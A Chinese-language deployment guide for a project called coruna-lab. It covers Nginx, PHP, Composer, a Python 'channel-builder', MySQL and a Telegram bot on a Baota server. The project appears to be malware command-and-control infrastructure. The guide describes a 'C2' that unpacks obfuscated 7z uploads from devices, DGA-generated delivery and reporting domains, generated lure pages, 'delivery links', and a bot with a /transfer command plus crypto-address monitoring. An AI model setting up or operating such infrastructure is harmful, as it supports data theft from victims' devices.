Files
coruna-lab/docs/BAOTA_DEPLOY.md
T
2026-08-09 22:05:47 +08:00

485 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 宝塔部署指南(coruna-lab + channel-builder)
同机部署:Laravel 内嵌 `channel-builder` 直接构建产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| ---------- | ------------------------------- | --------------------------- | --------------- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
```text
设备 / 运营
│
├─ Admin / C2 /web /sync ──► coruna-lab/public (Laravel)
│ │
│ └─ Process ──► channel-builder → public/web|sync
│ └─ state → storage/app/channel-builder
└─ DGA 域名反代到同一 public/
```
建议目录:
```text
/www/wwwroot/coruna-lab/
```
防火墙只放行 80/443。
---
## 0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp**
系统包:`p7zip-full`(或等价)、`git`
### PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
```bash
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
```
扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。
### PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`)
建议:
```ini
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
```
- `post_max_size` ≥ `upload_max_filesize`
- Admin 触发构建会同步等待 Python 脚本,超时与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600)
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
Nginx 站点配置建议同时加大:
```nginx
client_max_body_size 64m;
```
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。
---
## 1. 部署 channel-builder(随 coruna-lab)
### 1.1 代码与依赖
```bash
cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# PHP-FPM 用户需能执行 .venv/bin/python,并写 public/ 与 storage/app/channel-builder/
chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage
```
### 1.2 静态路径(写在 Admin 站点 public/)
产物默认落在 **Laravel `public/`**,与 Admin 同站即可,无需单独静态站点:
```text
https://admin.example.com/web/<id>/support.html
https://admin.example.com/sync/daily.html
```
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**):
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
```
`lab_seeds.json` / `out/` 在 `storage/app/channel-builder/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2)。
---
## 2. 部署 coruna-lab
### 2.1 站点
新建站点(如 `admin.example.com`):
- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`)
- PHP:8.2+
- 伪静态:Laravel
```nginx
location / {
try_files $uri $uri/ /index.php?$query_string;
}
```
### 2.2 Composer
需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。
```bash
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
```
常见错误见文末「排错」。
### 2.3 环境与数据库
```bash
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
```
默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。
### 2.4 `.env` 要点
```dotenv
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 内嵌 channel-builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_STATIC_SITE_SCHEME=https
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
```
改 `.env` 后(**登录 / Session 依赖这一步**):
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
```
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
### 2.5 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
```
拷到项目(规避 `open_basedir`):
```bash
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
```
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.6 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
```text
https://<APP_URL>/hooks/telegram
```
1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串)
2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径)
3. 确保站点已上 SSL,Telegram 能访问该 URL
4. 注册 webhook:
```bash
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
```
成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
#### Bot 指令无响应 / `getWebhookInfo` 报 500
1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`:
```bash
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
```
2. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`):
```bash
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
```
3. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新:
```bash
/www/server/php/82/bin/php artisan telegram:set-webhook
```
4. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
可选(地址监控):若启用 Tokenview,可另执行:
```bash
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
```
---
## 3. 联调检查清单
1. `channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常
2. Admin 登录 `https://admin.example.com/admin/login`
3. 后台新建渠道 → 构建成功;响应含 `seeds` / `domains`(首次)
4. 打开静态站 `/web/<id>/support.html` 与 `/sync/daily.html`
5. `/web/<id>/support.html` 与 `/sync/daily.html` 可直接访问;seed 在 storage 不暴露
6. C2 上报与 7z 入库正常
7. `telegram:set-webhook` 成功;Bot 能收到指令
---
## 4. 日常运维
| 动作 | 命令 / 操作 |
| ---------- | --------------------------------------------------------------- |
| 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `storage/app/channel-builder` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
---
## 5. 排错摘要
### `mkdir(): Permission denied` at `Helpers.php` / `public/log`
C2 中间件会写 `public/log/c2/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。
```bash
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
```
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
### Composer:`putenv()` undefined
PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2`
`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。
**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。
### Composer:缺少 `ext-gmp`
软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认:
```bash
/www/server/php/82/bin/php -m | grep -i gmp
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
```
### `apt` 因 gitlab-ce 源 404 失败
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
```
### `cp "$(command -v 7z)"` 报 `cannot stat ''`
未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。
### CLI `max_execution_time => 0`
CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
### 后台登录 HTTP 444
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。
### 后台登录方式(改造后)
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
### 后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null`
2. 执行:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
```
1. 浏览器清除该站 cookie 后重试
裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
---
## 6. 分机部署(可选)
若要把 `/web` `/sync` 拆到另一台纯静态机:
- 构建后 rsync `public/web` + `public/sync` 到静态机文档根
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed 状态仍放在 lab 的 `CORUNA_CHANNEL_STATE_ROOT`
同机时无需拆分,Admin `public/` 即静态根。